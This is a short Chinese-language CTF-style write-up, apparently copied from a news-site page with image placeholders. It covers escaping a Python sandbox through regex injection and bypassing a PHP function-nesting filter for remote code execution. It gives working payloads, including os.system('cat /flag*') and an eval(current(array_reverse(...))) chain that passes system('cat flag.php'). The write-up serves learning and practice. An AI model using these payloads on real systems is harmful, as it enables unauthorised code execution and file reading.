0x0:前言

0x0:前言

为了不让恶意用户执行任意的Python代码,就需要确保Python运行在沙箱中。在沙盒逃逸会有一些限制,比如说禁用某些常用的函数。另外一些有意思的点,构造payload绕过过滤,如何拿到shell或者非法读取文件。

打开网易新闻 查看精彩图片

 0x1:逃逸

0x1:逃逸

首先要写个交互:

打开网易新闻 查看精彩图片
打开网易新闻 查看精彩图片

可以看到这里有个正则匹配

正则匹配:

打开网易新闻 查看精彩图片

正则注入:我们可以直接进行RCE

payload:

打开网易新闻 查看精彩图片

re;a=''')|.*|(

我们过掉calc函数,然后就可以进入到下一步也就是problem。

打开网易新闻 查看精彩图片

在这步我们直接 import os就行,然后直接利用system函数:

''';import os;os.system('cat /flag*')#

打开网易新闻 查看精彩图片

0x2:RCE

0x2:RCE

打开网易新闻 查看精彩图片

无参数函数RCE,即在不使用参数的条件下,仅使用函数进行RCE :

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { }

这时如果我们用传统的eval($_POST[‘code’]); 则无法通过正则的校验 /[^\w]+((?R)?)/ ,对于该正则只允许形如 a(b(c())); a(); 也就是只能使用函数套娃,里面的函数所产生的信息就是作为参数。

payload:

? code=eval(current(array_reverse(current(get_defined_vars()))));&a=system(%27cat%20fl ag.php%27);

这里的php函数作用就不一一列举了,主要是遇到过滤,如何进行构造,这个思想很重要。

打开网易新闻 查看精彩图片

0x3:小结

0x3:小结

每当遇到过滤时,代码审计中的正则匹配就显得尤为重要,另外把一些巧妙的手法记录下来,增强自己的技能栈。